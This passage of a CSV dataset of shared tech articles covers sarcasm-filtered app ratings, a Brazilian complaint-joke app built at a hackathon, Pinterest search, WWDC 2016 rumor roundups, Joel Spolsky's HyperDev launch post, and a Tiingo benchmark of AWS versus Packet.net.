leaves some room for doubt about how helpful it is to screen out sarcasm in reviews. In fact, for some applications-as with Snapchat, for example-the sarcastic reviews outnumber the positive ones, and screening them out raises Snapchat's rating from 3.0 to 3.82. And it's possible that some of the sarcastic reviews are merely... dumb ones, such as this one rated as most sarcastic: ""I REALLY FVCKING LOVE THIS APP BUT THE CAMERA OF THE LENS IS NOT WORKING ON MY SNAPCHAT!! PLEASE FIX IT!! THANKS!!"" By opening up TrueRatr as open source, the students hope to get more people to test larger samples of text against the algorithm-and hopefully improve its performance even further over time. Bloomberg doesn't currently have plans to use the tool internally, Hong said. That's probably because no one ever uses sarcasm when they're writing the news...",en
1465651100,CONTENT SHARED,98528655405030624,6040926917589508037,4802031496467040625,,,,HTML,http://canaltech.com.br/noticia/startups/quer-reclamar-desenvolvedores-vencem-hackathon-com-app-para-choro-livre-63175/,"Quer reclamar? Desenvolvedores vencem hackathon com app para ""choro livre"" - Startups","Da política, do time de futebol, do tempo, do trânsito e de tudo mais: qualquer coisa parece ser uma boa razão para reclamar do nosso dia-a-dia agitado e estressante. E mesmo quando não tem nada errado, ainda assim às vezes sentimos aquela vontadezinha de nos queixarmos de algo, mesmo que seja só para dar uma aliviada no mau humor. Essa é exatamente a premissa do novo aplicativo Mimimi, um ""assistente pessoal de reclamações"" onde o choro é livre e qualquer um pode reclamar da vida à vontade, sem o perigo de ser julgado publicamente em redes sociais e com um extra: recebendo uma resposta bem-humorada de volta. ""Qualquer reclamação, qualquer coisa ruim que acontecer com você, é só descarregar no aplicativo"", contou Pedro Paulo Corrales Faria, um dos cocriadores do Mimimi. ""Quando você estiver em um momento negativo, o app vai lá e arranca um sorriso, dando uma resposta completamente 'cretina' àquilo que você acabou de escrever, usando inteligência artificial"". O serviço surgiu após um brainstorming de ideias de seis desenvolvedores que se conheceram na fila da edição paulistana da hackathon global AngelHack, que foi realizada em parceria com o IBM THINKLab neste final de semana e reuniu 221 participantes e 48 projetos. Na prática, o app funciona como uma interface de texto em que qualquer um pode reclamar à vontade no aplicativo e receber uma resposta da inteligência artificial do sistema, apelidada de ""Chupeta 2000"". Se você reclamar que o pneu do seu carro furou, um seco ""o trânsito fica melhor sem você"" poderá seguir; se a reclamação for da falta de dinheiro, a sugestão do app poderá ser ""podia estar trabalhando mais e reclamando menos aqui"". Para detectar as reclamações dos usuários e responder de forma relevante, a equipe integrou a Natural Language Classifier, do sistema de computação cognitiva IBM Watson, ao app. O time ""treinou"" a solução durante as 30 horas da hackathon para formar um banco inicial de respostas, mas a expectativa é que agora a aplicação cresça sozinha e crie cada vez mais diálogos possíveis através das mensagens e feedbacks enviados por usuário. O grupo criou também uma espécie de rede social interna para o app, onde os próprios usuários poderão curtir, descurtir ou dar suas próprias respostas às melhores e piores reclamações do dia - o que também deverá ajudar no refinamento das interações dentro do Mimimi. ""A gente acredita que o humor coletivo é muito mais interessante que o de uma pessoa só, então a partir do momento que o app estiver rodando, novos comentários vão surgir e entrar no banco de dados e usar a inteligência coletiva em favor do app, a gente vai buscar o humor nos metadados"", explicou Pedro Paulo. Apesar da vitória na hackathon, o app não para por aqui. O Mimimi foi desenvolvido já com um plano de negócio e escalabilidade formatado e o grupo agora espera transformá-lo em uma plataforma para empresas receberem reclamações em tempo real de clientes. A ideia é utilizar geolocalização e a computação cognitiva para a análise de discurso das postagens de usuários, em busca de menções negativas à marcas ou empresas, que poderão ser utilizadas como analytics para melhoria de produtos e serviços. O app está em fase final de desenvolvimento e ainda deverá ficar em ""refinamento"" por mais algumas semanas antes de ser colocado no ar para sistemas Android e iOS.",pt
1465660084,CONTENT SHARED,1440793148901830221,-1032019229384696495,-8491540776899624486,,,,HTML,http://techcrunch.com/2016/06/10/what-pinterest-learned-in-two-years-working-on-its-search-engine/,What Pinterest learned in two years working on its search engine,"About two years ago, Pinterest launched a different flavor of search engine called Guided Search. Instead of relying on deep data on the user, it would create a network of related topics that users can dive deep into. The idea being that a search like ""iPhone"" would net additional categories, like ""design,"" ""hardware,"" and such. Now Guided Search is about two years old, and the company says it serves around 2 billion searches per month. Guided search engineer Naveen Gavini also said that people also see on average around 55 ideas per search. The team - while small - still hasn't been able to sit still after the launch as more and more people begin using it. After all, each tool requires continued refinement if it's going to continue to grow. For Pinterest, that's meant finding new ways to personalize its search tools to give users ways to figure out an endpoint for the ideas they are looking for. Localization, too, has been key - the way people search and what results they hope to find may different radically based on where they live. The company has been focused on improving both of those in order to make Pinterest the go-to search engine for ideas. ""I think based on [what we've learned] we've really invested in making [discovery] more suited for that style of searching,"" Gavini said. ""We've improved guides, worked a lot on localization, and applied a lot on personalization of those guides. Initially when we launched, you could click one to three guides and be at the bottom of that. Now you can go six to seven levels deep, they're personalized and localized based on you. That's a lot of the behavior we've seen and adapted to."" The refinement has taken a lot of work on the back end as well. With performance tied directly to engagement in most instances, it's important to ensure that each search returns enough content fast enough that users don't get frustrated and leave the service. ""Initially when we launched, it was a great first version - now search is twice as fast, that's like everything from as soon as you type a letter the autocomplete showing results really quickly to actually completing a search and finding pins,"" Gavini said. Pinterest, too, is a naturally visual experience. That's made the company have to rethink how people search for products and ideas on Pinterest. One way the company tackled that was through the launch of visual search, which allows users the ability to highlight and search for specific parts of an image. Gavini said that was to tap into a different kind of behavior the company was seeing when users were looking to refine their searches further. Pinterest now sees around 130 million visual searches a month, Gavini said. All this may seem like a lot of searches, but in reality, it still seems a little shy of what other services have. Facebook, for example, reportedly serves around 1.5 billion queries a day . The company has 1.65 billion monthly active users - so a little less than a query, per monthly active user, per day (though that stat was reported in February and it could have risen since). Pinterest in September reported that it had 100 million monthly active users . So if it were to serve just under search, per user, per day, that means Pinterest still has some of distance to make up. (Pinterest's user base has probably risen since then: leaked documents showed that the company was estimating it would have 151 million users by the end of 2015 .) Guided search - or search in general - is critical for a service like Pinterest. It can capture the attention of people that are in a more active discovery mode, looking for a specific range of results. That's one step closer to taking an action than simple passive browsing, which is where advertisers can convert users into potential customers. The closer the advertiser can nudge a user to that conversion, the more likely they can close a sale, and that in turn helps drive Pinterest's business. That requires figuring out how users are using the service. To be fair amid all this, behavior on Pinterest is likely different than behavior on other search engines. People on Pinterest are generally looking for ideas on what to do next and things to discover, which may require a lighter touch when it comes to searching. ""Once they get to results, what we've found is peoples patterns kind of differ, they shift more into, 'I found something and i want to get into refinement mode,'"" Gavini said. ""That's where we've launched a few different things. I think, there's some really basic things. That's what we've really worked on in the past few years. There's an opportunity to learn from the way Pinterest's search engine has evolved over time. While the service is what Gavini describes as ""human powered"" - pulling together results from the way other people search through ideas - a bit of personalization can go a long way in improving the experience. That, in the end, improves engagement, and gets users coming back to the service as a go-to place for figuring out the answers to their ideas (which is good for Pinterest's business). In short, Pinterest search seems to be growing at a decent clip, but there's a lot of work to be done. Featured Image: pinterest",en
1465661819,CONTENT SHARED,-799315203186826480,-709287718034731589,-1424527253526269635,,,,HTML,http://www.macrumors.com/2016/06/10/what-to-expect-at-wwdc-2016/,What to Expect at WWDC 2016,"Apple's Worldwide Developers Conference kicks off on Monday, June 13 with a keynote event at 10:00 a.m. Pacific Time, where Apple is expected to show off the latest versions of its iOS, OS X, tvOS, and watchOS operating systems and perhaps debut new features for services like Apple Pay and iCloud . Ahead of the conference, we've compiled all of the rumors that we've heard about features that could potentially debut at the event to give MacRumors readers an idea of what to expect. iOS 10 Apple's operating system for iPhones and iPads has gone largely without design changes since iOS 7, so it's reasonable to assume iOS 10 may feature some design tweaks to update the look of the OS. A dark mode is one possibility that's been circulating based on the look of Apple's WWDC app and site, but there's no evidence suggesting such a feature will be implemented. Information on iOS 10 is limited, but we've heard some tantalizing details about the update. Apple is expected to introduce a Siri SDK, allowing Siri to interact with third-party apps in new ways. Developers will be able to build Siri integration into their apps, allowing Siri to access data and perform tasks within apps. Third-party app access has the potential to greatly expand what Siri is capable of and could put the personal assistant on par with more robust solutions like Google Now. In 2015, rumors indicated Apple was working on an ""iCloud Voicemail"" service able to allow Siri to answer missed calls and record and transcribe messages for users to read as text at a later time. The service, which could come in iOS 10, is also said to be capable of relaying location information and delivering details on why a user can't answer a phone call. Siri may also be improved with new capabilities Apple has made through acquisitions like VocalIQ . VocalIQ is able to retain the semantic context between conversations and recall user preferences. Apple has made other AI-related purchases over the past year that could have been purchased to improve Siri. Perceptio , for example, is a startup designed to allow for the creation of advanced artificial intelligence systems while limiting the amount of data stored in the cloud, functionality that could allow Apple to bridge the gap between its desire to introduce deeper Siri functionality with its unwavering focus on privacy. iOS 10 is rumored to include a redesigned Music app featuring a more intuitive user interface for Apple Music . It's said to use a ""bolder, yet simpler"" design that emphasizes black and white backgrounds and text to put more focus on album art. Apple is planning to replace the ""New"" tab in Apple Music with a ""Browse"" option that includes better organizational tools for discovering new content, and it will also feature a simplified ""For You"" section. Connect and Beats 1 will remain unchanged, but Apple may remove the Connect tab from the Apple Music interface. New 3D Touch shortcut previews will be added, sharing features will be emphasized, and there will be more of a focus on song lyrics, making them easier to access within the app. With the upcoming iPhone 7 Plus expected to gain a dual-lens camera, Apple is building Photos improvements into iOS 10. Apple is expected to reintroduce some abilities that were initially found in iPhoto before it was discontinued and while we don't know specifics, iPhoto previously had features like EXIF editing and touch-based brushes for adjusting brightness and other parameters on only specific parts of a photo. A Skitch-like photo editing feature allowing users to draw on and mark up images could also be in the works, mirroring features that are available in the Mail app for marking up PDFs and photos. Metadata keys added to App Store apps in April suggests Apple is potentially working on a much-desired feature to allow users to hide or delete unwanted stock apps . If such a feature is in the works, it could be included in iOS 10. Check out our full iOS 10 roundup for more info. OS X 10.12 OS X didn't get a major update in 2015, but 2016 may more than make up for it. OS X 10.12 is expected to bring Siri to the Mac for the first time, allowing the personal assistant to be used on Mac devices like it's used on iOS devices. Siri will be enabled through an icon in the OS X menu bar, the dock, a user-specified keyboard shortcut, or through a hands-free ""Hey Siri"" command. In May, we shared an image of the full Siri dock icon , featuring a colorful Siri waveform. Siri functionality on the Mac is likely to mirror much of the functionality on iOS, with Siri able to conduct searches, open apps, tweak system settings, answer simple queries, play music from iTunes, and more. Siri may also be able to interface with third-party Mac apps through the rumored Siri SDK. Another key feature of OS X 10.12 may be expanded Continuity features. Apple is working on an auto unlock function that would allow an iPhone to unlock a Mac when in close proximity, alleviating the need to enter a password on a password-protected machine in OS X 10.12. The feature, which uses Bluetooth LE frameworks, will presumably work similarly to the automatic unlocking feature on the Apple Watch , which allows an unlocked iPhone to bypass the passcode restriction on a connected Apple Watch. In this scenario, an iPhones Touch ID button would be used as a verification method for simpler logins. The unlocking function could also potentially be tied to the rumor suggesting Apple Pay integration is coming to web browsers. Users could make purchases online using Safari, confirming the Apple Pay payment through an iPhone's Touch ID when linked to a Mac. Features rumored for iOS 10, such as Photos improvements and Apple Music tweaks, are also expected to be included in OS X 10.12. An updated version of iTunes that includes a redesigned Apple Music experience with a simpler, more intuitive interface is a possibility, and as for Photos, it could gain some features that were removed during the transition from iPhoto to Photos. Beyond rumored features, there has been some speculation that Apple could rename OS X to MacOS to better match with iOS, watchOS, and tvOS, but whether or not Apple will actually introduce a change to its long-running Mac naming scheme remains to be seen. Check out our full OS X 10.12 roundup for more info. tvOS 2 and watchOS 3 Apple has said new versions of tvOS and watchOS 3 will be introduced at WWDC, but we have not heard any details on what new versions of these operating systems might include. Drawing from what we expect for iOS 10 and OS X 10.12, the two operating systems could feature Siri improvements and design tweaks to match any design changes coming to iOS 10, but beyond that, we don't have any insight into what to expect. We do know that as of June 1, Apple is requiring new Apple Watch apps submitted to the App Store to be native apps , suggesting Apple has plans for deeper native app capabilities. At the very least, a push towards native apps is encouraging because it will result in Apple Watch apps that are able to open more quickly and work more smoothly in watchOS 3. Services There are no specific Apple Pay rumors linked to WWDC, but Apple has several new Apple Pay features in the works that would be ideal to debut at the event. Apple is planning to bring Apple Pay to web browsers , allowing Apple Pay users to make Apple Pay purchases in online stores directly through Safari. As with standard transactions, payments would be approved on the iPhone through Touch ID. Using the expanded Continuity features allowing an iPhone to connect to a Mac, Apple Pay payments on Mac notebooks and desktop machines may also be verified through Touch ID. Apple is also working on a person-to-person update for Apple Pay, allowing users to send money to one another much like Square Cash or Venmo. It is not exactly clear how such a feature would work, but there have been "" whispers "" suggesting Apple may let customers send money to one another through iMessages. iCloud: Following its conflict with the FBI, Apple is likely to introduce new security features in iOS 10 and OS X 10.12. One possibility is encrypted iCloud backups, something Apple has been hesitant to implement in the past because it makes the restoring process more difficult. Rumors have suggested Apple is working on implementing stronger security measures ""even it can't hack"" to protect iOS devices. These improvements are likely to be introduced through a mix of hardware and software improvements, and it's quite possible we'll see the first of Apple's security enhancements in iOS 10. iMessage: One rumor says Apple is planning to announce iMessage for Android at the event, giving Android users access to one of the iPhone's best features. It's not clear how accurate this information is as it comes from a source without a reliable track record. Ahead of WWDC, Apple announced some major changes to the App Store , which we may hear more about at the event itself. Apple opened up app subscriptions to encompass all product categories and introduced a new subscription revenue split. After a customer maintains an in-app subscription for one year, developers will receive 85 percent of profits instead of 70 percent. Apple is also adding ads to App Store search results for the first time, and going forward, the App Store's ""Featured"" section will not display apps that are already installed. Apple is planning to bring back the Categories tab, and a Share sheet option is being added as a 3D Touch Quick action for all apps to make sharing easier. Search will also be improved. Hardware Ahead of WWDC there were rumors and speculation suggesting Apple could introduce products like an updated MacBook Pro or a new Thunderbolt Display , but it's likely neither of these products are going to be ready for a June debut, instead coming later in 2016. Leading up to WWDC, multiple Apple insiders have said the event will focus on software instead of hardware, and so we are not expecting hardware updates at the event. There's a possibility Apple could surprise us with an announcement, but if there are plans for a hardware product debut, those plans have been kept under wraps. Though we're not expecting any Mac announcements at WWDC, one questionable rumor from Japanese site Mac Otakara suggests Apple is planning to introduce both new MacBook Air and new MacBook Pro models in the month of June, shipping the notebooks in August. This is somewhat unlikely as Apple just bumped the RAM in the 13-inch MacBook Air up to 8GB in April. Previous rumors also indicate Apple may not be planning to introduce further MacBook Air updates, ending development on the machine in favor of the MacBook. As for the MacBook Pro, past information has said it will ship in 4Q 2016 , conflicting with Mac Otakara 's rumor of a June debut. Streaming Details and Release Date Apple is will offer a live stream of the keynote event through its website and through a dedicated events app on the Apple TV . MacRumors will also provide live coverage, on MacRumors.com and on the MacRumorsLive Twitter account . Following the conclusion of the keynote, Apple will likely provide iOS 10, OS X 10.12, watchOS 3, and tvOS 2 to developers, giving them time to adapt their apps to take advantage of new features. The operating systems are likely to be released to the public in the fall alongside new hardware.",en
1465662152,CONTENT SHARED,-8189315446782327370,-709287718034731589,-1424527253526269635,,,,HTML,http://9to5mac.com/2016/06/10/apple-wwdc-roundup-what-to-expect/,WWDC 2016 preview: How to watch &amp; what to expect at Apple's event on Monday,"What will Apple unveil at its event this Monday, June 13 to kick off WWDC 2016? Below we roundup the latest reports along with some of our own information on what Apple is currently planning for the keynote. Apple's annual Worldwide Developers Conference will kick off Monday with the company's usual press event to unveil the latest for iOS, Mac OS X, and its watchOS and tvOS for Apple Watch and Apple TV. While Apple's WWDC keynote address often includes new hardware announcements, our sources indicate this year's event will focus on mostly software with Apple spending more time on highlighting consumer facing features and updates to developer tools. And some major redesigns for Apple's own apps including Apple Music, Siri, iTunes, HomeKit, the App Store, News and more will be areas Apple focuses on for iOS 10 and Mac OS X (macOS?) 10.12. What to expect: Siri: Siri will almost certainly be a highlight of the event. We reported earlier this year that the company was planning a debut for Siri on Mac as a flagship feature for version 10.12, the next major OS release for Macs expected to get an unveiling at WWDC as usual. And a later report detailed Apple's plans for a new SDK for Siri as it reportedly develops dedicated hardware for the voice assistant that would compete with Amazon's Echo device and the recently unveiled Google Home platform. Tom Koszyk's Apple Music Redesign Apple Music was a big part of WWDC last year with its official launch, and this year would be an ideal venue to unveil the major redesign of the service currently in the works. We previously detailed Apple's plans to overhaul the service for iOS 10 with a mostly black & white UI, 'huge artwork', lyrics integration , and more. And that redesign will also change more than just the surface of the app with changes to core features like Connect and more. And that also leaves a lot of questions for what happens with iTunes, which is also reportedly set to get an overhaul alongside Apple Music. Apple Pay: We reported Apple is working on person to person Apple Pay transfers through iMessage and it could make a debut at WWDC. An expansion to new countries is also expected sometime this year, as is mobile checkout for websites. iOS 10 | Apps: Apple is working on a lot of improvements and new features for its own stock iOS apps in iOS 10, including the ability to optionally hide the apps from the iPhone's homepage for the first time. Paid and subscription content for the News app, a standalone app for HomeKit, and Siri Remote features for the iOS Remote app are also features expected to arrive soon. We recently put together a roundup of all the rumored iPhone & iPad features in the cards for WWDC 2016 . macOS 10.12: It looks like Apple will finally give Mac OS X a name change to make it fit in with the rest of the OS lineup: tvOS, watchOS, and iOS. We had a few hints in recent months that the Mac's OS will soon be ""macOS"" , but we'll have to wait to see if Apple follows through. And on top of Siri detailed above, Apple is reportedly planning a feature that will allow unlocking of Macs with the iPhone's Touch ID, something that would definitely make for a nice demo on stage this Monday. Apple Watch: As for the watchOS portion of next week's event, there aren't many rumored new features so Apple Watch might be the one area we'll get a few surprises. Apple just started requiring all new Watch apps use the native SDK, and it's reasonable to expect with Siri and Apple Pay being big highlights for the event that there might be some improvements for those features on Apple Watch as well. Person to person Apple Pay transfers via Apple Watch would make a lot of sense. And while new Watch hardware isn't expected, Designer brand Coach is launching a new line of Apple Watch bands this month and it's possible that collaboration and others could get a mention on stage. iCloud Apple received a lot of press this year over its iPhone's security and the FBI's attempts to force it to unlock a suspect's device in a high-profile criminal case. One report during that controversy noted Apple was working on even stornger iCloud backup encryption and iPhone security, and WWDC next week would certainly be the place to highlight that incraesed security if it's ready for iOS 10. We'll have full coverage of the event on Monday as always, but until then you can grab the handy links for live streams and catch up with our latest discussion and predictions for the event below: Discussion: How to watch: WWDC events:",en
1465667023,CONTENT SHARED,-3027055440570405664,7774613525190730745,-5387740831049193382,,,,HTML,http://joelonsoftware.com/items/2016/05/30.html?utm_source=clouddevweekly&utm_medium=email,Joel on Software,"Introducing HyperDev One more thing... It's been awhile since we launched a whole new product at Fog Creek Software (the last one was Trello , and that's doing pretty well ). Today we're announcing the public beta of HyperDev , a developer playground for building full-stack web-apps fast. HyperDev is going to be the fastest way to bang out code and get it running on the internet. We want to eliminate 100% of the complicated administrative details around getting code up and running on a website. The best way to explain that is with a little tour. Step one. You go to hyperdev.com. Boom. Your new website is already running. You have your own private virtual machine (well, really it's a container but you don't have to care about that or know what that means) running on the internet at its own, custom URL which you can already give people and they can already go to it and see the simple code we started you out with. All that happened just because you went to hyperdev.com. Notice what you DIDN'T do. You didn't make an account. You didn't use Git. Or any version control, really. You didn't deal with name servers. You didn't sign up with a hosting provider. You didn't provision a server. You didn't install an operating system or a LAMP stack or Node or operating systems or anything. You didn't configure the server. You didn't figure out how to integrate and deploy your code. You just went to hyperdev.com. Try it now! What do you see in your browser? Well, you're seeing a basic IDE. There's a little button that says SHOW and when you click on that, another browser window opens up showing you your website as it appears to the world. Notice that we invented a unique name for you. Over there in the IDE, in the bottom left, you see some client side files. One of them is called index.html. You know what to do, right? Click on index.html and make a couple of changes to the text. Now here's something that is already a little bit magic... As you type changes into the IDE, without saving, those changes are deploying to your new web server and we're refreshing the web browser for you, so those changes are appearing almost instantly, both in your browser and for anyone else on the internet visiting your URL. Again, notice what you DIDN'T do: You didn't hit a ""save"" button. You didn't commit to Git. You didn't push. You didn't run a deployment script. You didn't restart the web server. You didn't refresh the page on your web browser. You just typed some changes and BOOM they appeared. OK, so far so good. That's a little bit like jsFiddle or Stack Overflow snippets, right? NBD. But let's look around the IDE some more. In the top left, you see some server side files. These are actual code that actually runs on the actual (virtual) server that we're running for you. It's running node. If you go into the server.js file you see a bunch of JavaScript. Now change something there, and watch your window over on the right. Magic again... the changes you are making to the server-side Javascript code are already deployed and they're already showing up live in the web browser you're pointing at your URL. Literally every change you make is instantly saved, uploaded to the server, the server is restarted with the new code, and your browser is refreshed, all within half a second. So now your server-side code changes are instantly deployed, and once again, notice that you didn't: Save Do Git incantations Deploy Buy and configure a continuous integration solution Restart anything Send any SIGHUPs You just changed the code and it was already reflected on the live server. Now you're starting to get the idea of HyperDev. It's just a SUPER FAST way to get running code up on the internet without dealing with any administrative headaches that are not related to your code. Ok, now I think I know the next question you're going to ask me. ""Wait a minute,"" you're going to ask. ""If I'm not using Git, is this a single-developer solution?"" No. There's an Invite button in the top left. You can use that to get a link that you give your friends. When they go to that link, they'll be editing, live, with you, in the same documents. It's a magical kind of team programming where everything shows up instantly, like Trello, or Google Docs. It is a magical thing to collaborate with a team of two or three or four people banging away on different parts of the code at the same time without a source control system. It's remarkably productive; you can dive in and help each other or you can each work on different parts of the code. ""This doesn't make sense. How is the code not permanently broken? You can't just sync all our changes continuously!"" You'd be surprised just how well it does work, for most small teams and most simple programming projects. Listen, this is not the future of all software development. Professional software development teams will continue to use professional, robust tools like Git and that's great. But it's surprising how just having continuous merging and reliable Undo solves the ""version control"" problem for all kinds of simple coding problems. And it really does create an insanely addictive form of collaboration that supercharges your team productivity. ""What if I literally type 'DELETE * FROM USERS' on my way to typing 'WHERE id=9283', do I lose all my user data?"" Erm... yes. Don't do that. This doesn't come up that often, to be honest, and we're going to add the world's simplest ""branch"" feature so that optionally you can have a ""dev"" and ""live"" branch, but for now, yeah, you'd be surprised at how well this works in practice even though in theory it sounds terrifying. ""Does it have to be JavaScript?"" Right now the server we gave you is running Node so today it has to be JavaScript. We'll add other languages soon. ""What can I do with my server?"" Anything you can do in Node. You can add any package you want just by editing package.json. So literally any working JavaScript you want to cut and paste from Stack Overflow is going to work fine. ""Is my server always up?"" If you don't use it for a while, we'll put your server to sleep, but it will never take more than a few seconds to restart. But yes for all intents and purposes, you can treat it like a reasonably reliably, 24/7 web server. This is still a beta so don't ask me how many 9's. You can have all the 8's you want. ""Why would I trust my website to you? What if you go out of business?"" There's nothing special about the container we gave you; it's a generic VM running Node. There's nothing special about the way we told you to write code; we do not give you special frameworks or libraries that will lock you in. Download your source code and host it anywhere and you're back in business. ""How are you going to make money off of this?"" Aaaaaah! why do you care! But seriously, the current plan is to have a free version for public / open source code you don't mind sharing with the world. If you want private code, much like private repos, there will eventually be paid plans, and we'll have corporate and enterprise versions. For now it's all just a beta so don't worry too much about that! ""What is the point of this Joel?"" As developers we have fantastic sets of amazing tools for building, creating, managing, testing, and deploying our source code. They're powerful and can do anything you might need. But they're usually too complex and too complicated for very simple projects. Useful little bits of code never get written because you dread the administration of setting up a new dev environment, source code repo, and server. New programmers and students are overwhelmed by the complexity of distributed version control when they're still learning to write a while loop. Apps that might solve real problems never get written because of the friction of getting started. Our theory here is that HyperDev can remove all the barriers to getting started and building useful things, and more great things will get built. ""What now?"" Really? Just go to HyperDev and start playing! HyperDev is the developer playground for building full-stack web apps, fast. Want to know more? You're reading Joel on Software , stuffed with years and years of completely raving mad articles about software development, managing software teams, designing user interfaces, running successful software companies, and rubber duckies. About the author. I'm Joel Spolsky, co-founder of Trello and Fog Creek Software , and CEO of Stack Overflow . More about me.",en
1465677689,CONTENT SHARED,-330801551666885085,7774613525190730745,-5387740831049193382,,,,HTML,http://blog.tiingo.com/switched-away-aws-packet-net-benchmarking-networking-disk-processing-speeds/,"AWS vs Packet.net Why we left AWS Benchmarking AWS's Network, Disk, and CPU Performance - Tiingo Thoughts","If this sounds like a glowing review of Packet.net - it is. I found myself re-reading this post over and over, trying to make it sound less shrilly - but I can't. It's just a ridiculously good product and value - EC2 containers just don't make sense anymore. A friend once told me, ""Rishi - sometimes if you don't advocate a product aggressively - you can be doing society a disservice in your attempt to be neutral. If the value is so good, you must tell everybody about it."" This is one of those times. EDIT: Feeling really grateful the HackerNews community decided to link to Tiingo a second time. In the first HackerNews posting many of you asked for an API, which is what led to me finding the AWS bottleneck. The API launched [quietly] this week at: where Tiingo is now the first company to bring IEX (anti-HFT exchange/darkpool) data to mainstream FinTech. Kind of went full-circle as this post wouldn't have existed without the original HN coverage . TL;DR: The performance of AWS on network speed, disk speed, and CPU performance are quantitatively just ""not good,"" for what we needed. When we introduced real-time market data, we were in search of our bottleneck and realized it was AWS. We made the decision to switch to Packet.net and the below reflects on our decision and explains why. The benchmarks continue to reaffirm our decision. Having said all of this, certain features of AWS remain incredibly convenient like S3, Cloudfront, and Route53 - but we can't justify using EC2. In Networking : Packet is significantly faster, more stable, and 15%-44% cheaper In Disk Usage : Packet is more performant and 92% cheaper In CPU: Packet is 30-40% more performant and 15% cheaper In machines: Packet's systems are all bare-metal/dedicated, whereas AWS charges extra for dedicated machines If you've noticed Tiingo being particularly snappy these days, it's because I couldn't stand it anymore. I had tried everything - buying more expensive instances on AWS, allocating more space, scaling horizontally, but it wasn't matching up to my local dev machines. And so I started searching for the bottleneck - only to realize it was AWS. I started researching AWS, I found I wasn't alone. Many people experienced what I had but I tried prolonging the switch. Trying to change cloud service providers is frustrating: scripts break, performance temporarily suffers, you experience downtime, and you know there will be unknown-unknowns. Recently we just got real-time market data and this exacerbated the issues. Our websockets were being overwhelmed in queues and throwing more nodes at the problem was becoming expensive. We were trying to put a bandaid over a burst pipe. I finally decided on Packet.net and I want to share the reasons why. I've included benchmarking results to help emphasize the point. Our search was motivated by two major reasons: The costs were getting out-of-hand After reading the below Reddit post on AWS's [lack of] network stability, we started asking around and realized the experts were right... AWS's network is slow. If we are going to give our users real-time data directly from the exchanges, that's a heck-of-a-lot of data and we need it to be as fast as possible. The Reddit/Blog Post was from an engineer at Stack Overflow. . More specifically, this Reddit comment on AWS's network stability that seemed echo'd by many: We explored options like DigitalOcean , but Tiingo, like all financial data/analytics companies, is very data heavy and their plans didn't allow for flexible data storage (EBS on Amazon for example). We looked into Rackspace and Azure, but the cost differentials didn't make it seem worth the transition. Admittedly, having used Rackspace in the past - I've always loved their customer support and was personally disappointed I couldn't justify the cost. Eventually I came across Packet and spoke to their engineers since I hadn't heard of them before. I took a chance. It paid off. I told them my concerns and what I was trying to solve (market data connectivity and high data transfer rates). One of the co-founders, who was a networking engineer, personally oversaw my connectivity project to the data exchanges. I'm pretty sure this was Paul Graham 101 on start-ups and customer service. Ultimately though - I'm a data nut and so I decided to benchmark AWS vs Packet and was really curious about the Reddit comments on AWS's network stability. The benchmarks closed the deal for us. It was a no-brainer. Part of the major reason being that Packet.net is bare metal (dedicated physical machines) whereas AWS tends to be focused on virtual machines. The hardware/pricepoint is actually even cheaper on Packet. We are paying 1/3rd of what it would cost to get a similar, less performant, system on AWS. SO here you have it! The tests below compare AWS vs Packet for disk, network, and CPU benchmarking - and also cost. I've outlined and commented the results below so you can reproduce the tests. Hardware Since we are testing Packet vs AWS, we started off with the Packet hardware and found the AWS price equivalent. We started with the Type 1 and worked backwards to find the equivalent in performance/price on AWS. Note: For the network test, we also test a smaller machine. The reason for the lighter hardware is for load balancing (HAProxy in this sense). If all of the back-end servers can have high network throughput, but we need to send it to the end-user, the load-balancer's networking performance will be the determining factor. This is especially important in cases like real-time data. Packet: Type 1 (Server) (4 core, 8-threaded) 3.4ghz Intel Xeon E3-1240 v3 32gb $0.40/hr $0.37/hr if reserved for 1 month $292.80/month Type 0 (Load Balancer) (4 core) 2.4ghz Intel Atom C2550 8gb $0.05/hr $0.0459/hr if reserved for 1 month $36.60/month What somebody may choose as their load balancer *Note:We assume 732 hours in a month; but if you reserve a Packet instance for a month, they will only charge you 672 hours per month. However, to make apples-to-apples comparisons, all calcs in Price/Month assume you choose hourly pricing (732 hours for 1 month) to keep things normalized. AWS: m4.2xlarge (Server) 8 VCPU (2.4ghz Intel Xeon E5-2676) 32gb $0.479/hr $350.63/month xlarge was chosen for it's optimized network performance t2.medium (Load Balancer) 2 VCPU (Xeon processors burstable to 3.3ghz) 4gb $0.052/hr $38.07/month What somebody may choose as their load balancer OS : Ubuntu 14.04 server Network: For this test, we used iperf3 as per the AWS documentation ( ) We wanted to simulate a very real-world network configuration for ourselves - basically what our site looks behind a load balancer. Load balancers tend to require very low processing power, and serve as a network bottleneck to the user. We are testing: Internet -> Load-balancer (Haproxy) Load-balancer (HAProxy) -> Server Server -> Server The ""Internet"" machine used was an Azure machine. Not perfect, but we figured it was a good 3rd party control. You can view the detailed methodology in the Appendix below. Results: Performance: AWS came out incredibly inconsistent - with a high std. deviation and low mean transfer rates. What AWS considered a ""High"" performance network tier, was the least expensive tier on Packet. Why didn't we use AWS Elastic-Load-Balancer (ELB)? For our use case with websockets, - we found ELB to be lacking what we needed. This will be a blog post for a later day. What was particularly interesting was the inconsistency of the lower tier machines. We ran our benchmarks over an hour, and here is what the rates looked like when making requests to-and-from the lower tier (t2.medium) EC2 Instance. This seems consistent with their ""burstable"" instance - which is great and all...except Packet's lowest tier outperforms it: Pricing: The above AWS configuration is $.081/hour more expensive than Packet and also less performant. Another consideration is bandwidth costs. AWS charges $0.09/GB (for the first 10TB) out to the internet. Packet.net charges $0.05/GB out to the internet. Within the same data centers (availability zones in AWS), both Packet and AWS are free. However, when transferring to a different availability zone, AWS charges $0.02/GB and Packet.net charges $0.05/GB. Conclusion: Packet is the clear winner in this. In both absolute speed and stability. In terms of price, Packet is cheaper by $.081/hour in the above configuration, or 15% cheaper - and for the majority of our bandwidth we go external to the internet. In outbound internet traffic, Packet is 44% cheaper. Disk: Packet offers two storage types: Basic (500 IOPS) and Performance (15,000 IOPS). We created a EBS volume on both Packet & AWS with provisioned IOPS of 500 and then 15,000. Then we used sysbench to run an I/O test (see Appendix below for methodology). Results: Performance: When getting to the 15k IOPS, we saw a more significant performance differential favoring Packet. At Tiingo we used the performance tier given the amount of data we store and calculate. Price: Provisioning 15,000 IOPS on AWS @ $0.065/IOPS = $975. But wait, that's not all! They also charge $0.125/hour per GB. So a 15k IOPS 500GB HDD on AWS would be $1037.50 On Packet it would be 500GB * $0.15 = $75. Doing a bit of algebra, the cost for 15k IOPS on AWS would be cost effective if you have >39TB of storage. That's right - Packet is cheaper until you hit 39TB of storage.... Conclusion: Packet is literally 92.3% cheaper than AWS for 